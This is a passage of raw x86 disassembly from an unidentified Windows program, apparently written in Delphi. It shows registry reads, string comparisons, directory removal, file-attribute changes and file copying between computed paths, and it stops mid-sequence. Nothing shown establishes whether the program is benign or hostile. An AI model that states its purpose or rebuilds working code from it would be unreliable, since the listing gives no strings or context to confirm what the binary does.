lea edx, [ebp - 0x166c]
call fcn.005939c8
mov eax, dword [ebp - 0x166c]
xor ecx, ecx
mov dl, 1
call fcn.005915dc
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6e8
call fcn.00405ec0
je 0x59f94d
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae700
call fcn.00405ec0
jne 0x5a1861
mov eax, 0x5dbd3c
call fcn.00405a98
xor eax, eax
push ebp
push 0x59faf8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0x1678]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0x1678]
call fcn.005936d4
test al, al
je 0x59f9a8
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp 0x59f9b8
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [0x5d5110]
cmp dword [eax], 1
jne 0x59f9d2
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x1680]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x1680]
lea eax, [ebp - 0x167c]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x167c]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
lea ecx, [ebp - 0x1684]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431090
mov edx, dword [ebp - 0x1684]
mov eax, 0x5dbd3c
call fcn.00405aec
mov edx, dword [0x5dbd3c]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dbd3c]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 0
je 0x59fa90
mov eax, dword [ebp - 0x704]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x704], eax
mov edx, dword [0x5dbd3c]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, dword [ebp - 0x704]
call fcn.00405fd0
lea edx, [ebp - 0x168c]
mov eax, dword [0x5dbd3c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x168c]
lea edx, [ebp - 0x1688]
call fcn.00589dcc
mov edx, dword [ebp - 0x1688]
mov eax, 0x5dbd3c
call fcn.00405aec
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59fb0c
cmp dword [0x5d465c], 0
je 0x59fb35
lea edx, [ebp - 0x1690]
mov eax, dword [0x5d465c]
call fcn.00589dcc
mov edx, dword [ebp - 0x1690]
mov eax, 0x5dbd3c
call fcn.00405aec
cmp dword [0x5dbd74], 3
jne 0x59fb9a
lea eax, [ebp - 0x1694]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd3c]
call fcn.00405db0
mov eax, dword [ebp - 0x1694]
call fcn.0040b8f0
test al, al
jne 0x59fb9a
lea eax, [ebp - 0x1698]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405db0
mov eax, dword [ebp - 0x1698]
call fcn.0040b8f0
test al, al
je 0x59fb9a
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405aec
cmp dword [0x5dbd74], 3
jne 0x59fbc9
lea eax, [ebp - 0x169c]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd3c]
call fcn.00405db0
mov eax, dword [ebp - 0x169c]
call fcn.0040b8f0
test al, al
je 0x59fc00
cmp dword [0x5dbd74], 3
je 0x59fff0
lea eax, [ebp - 0x16a0]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405db0
mov eax, dword [ebp - 0x16a0]
call fcn.0040b8f0
test al, al
jne 0x59fff0
lea edx, [ebp - 0x16a4]
mov eax, 0x5add84
call fcn.0058fff8
mov eax, dword [ebp - 0x16a4]
call fcn.005936d4
test al, al
jne 0x59fc35
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae700
call fcn.00405ec0
jne 0x59fff0
cmp dword [0x5dbd74], 2
je 0x59fff0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae700
call fcn.00405ec0
je 0x59fc99
lea eax, [ebp - 0x16a8]
push eax
lea ecx, [ebp - 0x16ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16ac]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x16a8]
call fcn.005936d4
test al, al
je 0x59fff0
mov byte [ebp - 0x57d], 0
mov byte [ebp - 0x57e], 0
cmp byte [0x5dbcf4], 0
je 0x59fcb9
mov byte [ebp - 0x57d], 1
jmp 0x59fcdb
mov eax, dword [0x5dbcc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d493c]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d8e8
xor al, 1
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x16b0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0x16b0]
mov edx, dword [0x5dbd08]
call fcn.00405d64
mov eax, dword [ebp - 0x16b0]
call fcn.0040b8f0
test al, al
jne 0x59fd51
lea edx, [ebp - 0x16b8]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
push dword [ebp - 0x16b8]
push 0x5aded4
push dword [0x5dbd08]
lea eax, [ebp - 0x16b4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x16b4]
call fcn.0040b8f0
test al, al
jne 0x59fd51
xor eax, eax
jmp 0x59fd53
mov al, 1
mov byte [ebp - 0x57e], al
movzx eax, byte [ebp - 0x57d]
or al, byte [ebp - 0x57e]
je 0x59fca7
cmp byte [ebp - 0x57e], 0
je 0x59fe08
lea edx, [ebp - 0x16bc]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0x16bc]
mov edx, dword [0x5dbd08]
call fcn.00405d64
mov eax, dword [ebp - 0x16bc]
call fcn.0040b8f0
test al, al
je 0x59fdcd
lea edx, [ebp - 0x16c0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x16c0]
mov eax, 0x5dbd28
call fcn.00405aec
jmp 0x59fdf3
lea edx, [ebp - 0x16c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x16c4]
mov eax, 0x5dbd28
mov ecx, 0x5aded4
call fcn.00405db0
mov eax, 0x5dbd38
mov edx, dword [0x5dbd28]
call fcn.00405aec
jmp 0x59fff0
cmp byte [ebp - 0x57d], 0
je 0x59fff0
mov edx, dword [0x5d4ee4]
mov edx, dword [edx]
mov ecx, 0x5ae714
mov eax, 0x5ad9a8
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6e8
call fcn.00405ec0
jne 0x59ff19
lea eax, [ebp - 0x16c8]
push eax
lea ecx, [ebp - 0x16cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16cc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x16c8], 0
je 0x5acf48
lea eax, [ebp - 0x16d0]
push eax
lea ecx, [ebp - 0x16d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16d4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x16d0]
lea edx, [ebp - 0x3c0]
call fcn.005af5ec
cmp dword [ebp - 0x3c0], 0
jne 0x59feff
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x16d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16d8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov ecx, 0x5ae714
mov edx, 0x5ae734
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5acf48
lea eax, [ebp - 0x16dc]
push eax
lea ecx, [ebp - 0x16e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16e0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x16dc], 0
je 0x5acf48
lea eax, [ebp - 0x16e4]
push eax
lea ecx, [ebp - 0x16e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16e8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x16e4]
lea edx, [ebp - 0x3c0]
call fcn.005af5ec
cmp dword [ebp - 0x3c0], 0
jne 0x59ffd6
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x16ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov ecx, 0x5ae744
mov edx, 0x5ae734
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5acf48
cmp dword [0x5dbd74], 2
jne 0x5a00ae
xor eax, eax
push ebp
push 0x5a0055
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
mov eax, 0x5ae760
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a00ae
mov eax, dword [0x5dbd20]
call fcn.00405f28
mov edx, eax
lea eax, [ebp - 0x16f4]
call fcn.00405c90
mov edx, dword [ebp - 0x16f4]
mov eax, 0x5ae774
call fcn.005bfb08
push ebp
mov eax, 0x5ae774
call fcn.0059405c
pop ecx
push ebp
mov eax, dword [0x5dbd20]
call fcn.0059405c
pop ecx
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae700
call fcn.00405ec0
jne 0x5a0237
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405aec
lea edx, [ebp - 0x16fc]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x16fc]
lea edx, [ebp - 0x16f8]
call fcn.00589dcc
push dword [ebp - 0x16f8]
lea edx, [ebp - 0x1700]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1700]
push 0x5ad7d8
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x1704]
call fcn.0058eed4
mov eax, dword [ebp - 0x1704]
push eax
lea edx, [ebp - 0x1708]
mov eax, dword [0x5dbcd4]
call fcn.0042055c
mov eax, dword [ebp - 0x1708]
push eax
lea edx, [ebp - 0x170c]
mov eax, dword [ebp - 4]
call fcn.0042055c
mov eax, dword [ebp - 0x170c]
push eax
mov eax, dword [0x5dbd0c]
push eax
push 0
push 0
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x1714]
mov eax, 0x5ad758
call fcn.0058fff8
mov eax, dword [ebp - 0x1714]
lea edx, [ebp - 0x1710]
call fcn.0058ff30
mov eax, dword [ebp - 0x1710]
push eax
xor ecx, ecx
mov edx, dword [ebp + 8]
mov al, 1
call fcn.005bf62c
mov dword [ebp - 0x54c], eax
lea edx, [ebp - 0x171c]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x171c]
lea edx, [ebp - 0x1718]
call fcn.00589dcc
push dword [ebp - 0x1718]
lea edx, [ebp - 0x1720]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1720]
push 0x5ae788
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405e2c
jmp 0x5a040f
cmp dword [0x5dbd5c], 0
je 0x5a027c
lea edx, [ebp - 0x1724]
mov eax, dword [0x5dbd5c]
call fcn.004af15c
mov edx, dword [ebp - 0x1724]
mov eax, 0x5ae798
call fcn.0058ef14
mov edx, dword [0x5dbda0]
mov eax, dword [ebp + 8]
call fcn.005bfbb0
mov edx, dword [0x5dbda4]
mov eax, dword [ebp + 8]
call fcn.005bfdd0
lea eax, [ebp - 0x1728]
call fcn.0058eed4
mov eax, dword [ebp - 0x1728]
push eax
lea edx, [ebp - 0x172c]
mov eax, dword [0x5dbcd4]
call fcn.0042055c
mov eax, dword [ebp - 0x172c]
push eax
lea edx, [ebp - 0x1730]
mov eax, dword [ebp - 4]
call fcn.0042055c
mov eax, dword [ebp - 0x1730]
push eax
mov eax, dword [0x5dbd0c]
push eax
lea eax, [ebp - 0x1734]
push eax
lea ecx, [ebp - 0x1738]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1738]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1734]
call fcn.005936d4
push eax
lea eax, [ebp - 0x173c]
push eax
lea ecx, [ebp - 0x1740]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1740]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x173c]
call fcn.005936d4
test al, al
jne 0x5a0380
lea eax, [ebp - 0x1744]
push eax
lea ecx, [ebp - 0x1748]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1748]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1744]
call fcn.005936d4
test al, al
je 0x5a0384
xor eax, eax
jmp 0x5a0386
mov al, 1
push eax
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x1750]
mov eax, 0x5ad758
call fcn.0058fff8
mov eax, dword [ebp - 0x1750]
lea edx, [ebp - 0x174c]
call fcn.0058ff30
mov eax, dword [ebp - 0x174c]
push eax
lea eax, [ebp - 0x1758]
push eax
lea ecx, [ebp - 0x175c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x175c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1758]
lea edx, [ebp - 0x1754]
call fcn.00593624
mov ecx, dword [ebp - 0x1754]
mov edx, dword [ebp + 8]
xor eax, eax
call fcn.005bf62c
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x3c0], 0
je 0x5a0456
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6e8
call fcn.00405ec0
jne 0x5a0441
mov ecx, 0x5ae714
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad9a8
call fcn.00590064
jmp 0x5a0456
mov ecx, 0x5ae744
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad9a8
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6e8
call fcn.00405ec0
jne 0x5a05b3
lea eax, [ebp - 0x1760]
push eax
lea ecx, [ebp - 0x1764]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1764]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x1760], 0
je 0x5a06f5
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x1768]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1768]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3c0]
call fcn.005af6a8
test al, al
jne 0x5a0528
lea edx, [ebp - 0x176c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x176c]
push eax
lea eax, [ebp - 0x1770]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1770]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x54c]
sub eax, 0xffffffff
je 0x5a053e
dec eax
je 0x5a0550
dec eax
je 0x5a0562
dec eax
je 0x5a0574
jmp 0x5a0598
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae7b0
call fcn.00405b30
jmp 0x5a0598
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae734
call fcn.00405b30
jmp 0x5a0598
lea eax, [ebp - 0x3c4]
mov edx, 0x5adae0
call fcn.00405b30
jmp 0x5a0598
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae7c0
call fcn.00405b30
mov ecx, 0x5ae714
mov edx, 0x5ad834
mov eax, 0x5ada08
call fcn.00590064
mov ecx, 0x5ae714
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5a06f5
lea eax, [ebp - 0x1774]
push eax
lea ecx, [ebp - 0x1778]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1778]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x1774], 0
je 0x5a06f5
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x177c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x177c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3c0]
call fcn.005af6a8
test al, al
jne 0x5a066f
lea edx, [ebp - 0x1780]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x1780]
push eax
lea eax, [ebp - 0x1784]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1784]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x54c]
sub eax, 0xffffffff
je 0x5a0685
dec eax
je 0x5a0697
dec eax
je 0x5a06a9
dec eax
je 0x5a06bb
jmp 0x5a06df
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae7b0
call fcn.00405b30
jmp 0x5a06df
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae734
call fcn.00405b30
jmp 0x5a06df
lea eax, [ebp - 0x3c4]
mov edx, 0x5adae0
call fcn.00405b30
jmp 0x5a06df
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae7c0
call fcn.00405b30
mov ecx, 0x5ae744
mov edx, 0x5ad834
mov eax, 0x5ada08
call fcn.00590064
mov ecx, 0x5ae744
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
cmp dword [ebp - 0x54c], 1
je 0x5a070b
cmp dword [ebp - 0x54c], 2
jne 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae700
call fcn.00405ec0
je 0x5acf48
lea edx, [ebp - 0x1788]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0x1788]
call fcn.005936d4
lea edx, [ebp - 0x3c0]
call fcn.0058f120
lea eax, [ebp - 0x3c8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405b30
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
lea edx, [ebp - 0x178c]
mov eax, dword [ebp + 8]
call fcn.00589d2c
mov eax, dword [ebp - 0x178c]
push eax
lea edx, [ebp - 0x1794]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1794]
lea edx, [ebp - 0x1790]
call fcn.00589dcc
mov edx, dword [ebp - 0x1790]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405db0
lea eax, [ebp - 0x1798]
push eax
lea ecx, [ebp - 0x179c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x179c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1798]
call fcn.005936d4
test al, al
jne 0x5a08a6
lea eax, [ebp - 0x17a0]
push eax
lea ecx, [ebp - 0x17a4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17a4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x17a0]
call fcn.005936d4
test al, al
jne 0x5a08a6
lea eax, [ebp - 0x17a8]
mov ecx, 0x5ae7d0
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17a8]
call fcn.0040b938
lea edx, [ebp - 0x17ac]
mov eax, 0x5ad844
call fcn.0058fff8
mov eax, dword [ebp - 0x17ac]
call fcn.005936d4
push eax
lea eax, [ebp - 0x17b0]
mov ecx, 0x5ae7d0
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17b0]
pop edx
call fcn.004c95c0
jmp 0x5a08cd
lea eax, [ebp - 0x17b4]
mov ecx, 0x5ae7d0
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17b4]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
lea eax, [ebp - 0x17b8]
push eax
lea ecx, [ebp - 0x17bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17bc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x17b8]
call fcn.005936d4
test al, al
jne 0x5a099c
lea eax, [ebp - 0x17c0]
push eax
lea ecx, [ebp - 0x17c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17c4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x17c0]
call fcn.005936d4
test al, al
jne 0x5a0f9d
lea eax, [ebp - 0x17c8]
push eax
lea ecx, [ebp - 0x17cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17cc]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x17c8]
call fcn.005936d4
test al, al
jne 0x5a0f9d
mov eax, dword [ebp - 0x3c0]
call fcn.0040b938
lea edx, [ebp - 0x17d0]
mov eax, 0x5ad844
call fcn.0058fff8
mov eax, dword [ebp - 0x17d0]
call fcn.005936d4
mov edx, eax
mov eax, dword [ebp - 0x3c0]
call fcn.004c95c0
cmp dword [0x5dbd74], 2
jne 0x5a0a16
lea eax, [ebp - 0x17d4]
mov ecx, dword [0x5dbd0c]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x17d4]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
push 0x80
lea edx, [ebp - 0x17e0]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x17e0]
lea edx, [ebp - 0x17dc]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x17dc]
lea eax, [ebp - 0x17d8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17d8]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea edx, [ebp - 0x17ec]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x17ec]
lea edx, [ebp - 0x17e8]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x17e8]
lea eax, [ebp - 0x17e4]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17e4]
call fcn.00405f28
push eax
lea edx, [ebp - 0x17f0]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x17f0]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x17fc]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x17fc]
lea edx, [ebp - 0x17f8]
call fcn.00589d2c
push dword [ebp - 0x17f8]
push 0x5ae788
lea eax, [ebp - 0x17f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x17f4]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp dword [0x5dbc9c], 0
jne 0x5a0bc3
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1808]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1808]
lea edx, [ebp - 0x1804]
call fcn.00589d2c
push dword [ebp - 0x1804]
push 0x5ae788
lea eax, [ebp - 0x1800]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1800]
call fcn.00405f28
push eax
push dword [0x5dbcc8]
lea edx, [ebp - 0x1814]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1814]
lea edx, [ebp - 0x1810]
call fcn.00589d2c
push dword [ebp - 0x1810]
push 0x5ae788
lea eax, [ebp - 0x180c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x180c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x5a0c20
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1820]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1820]
lea edx, [ebp - 0x181c]
call fcn.00589d2c
push dword [ebp - 0x181c]
push 0x5ae788
lea eax, [ebp - 0x1818]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1818]
call fcn.00405f28
push eax
mov eax, dword [0x5dbc9c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x182c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x182c]
lea edx, [ebp - 0x1828]
call fcn.00589d2c
push dword [ebp - 0x1828]
push 0x5ae7e0
lea eax, [ebp - 0x1824]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1824]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1838]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1838]
lea edx, [ebp - 0x1834]
call fcn.00589d2c
push dword [ebp - 0x1834]
push 0x5ae7e0
lea eax, [ebp - 0x1830]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1830]
call fcn.00405f28
push eax
push dword [0x5dbcc8]
lea edx, [ebp - 0x1844]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1844]
lea edx, [ebp - 0x1840]
call fcn.00589d2c
push dword [ebp - 0x1840]
push 0x5ae7e0
lea eax, [ebp - 0x183c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x183c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x1848]
mov ecx, 0x5ae7f0
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1848]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x184c]
mov ecx, 0x5ae7f0
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x184c]
call fcn.00405f28
push eax
lea eax, [ebp - 0x1850]
mov ecx, 0x5ae7f0
mov edx, dword [0x5dbcc8]
call fcn.00405db0
mov eax, dword [ebp - 0x1850]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x1854]
mov ecx, 0x5ae800
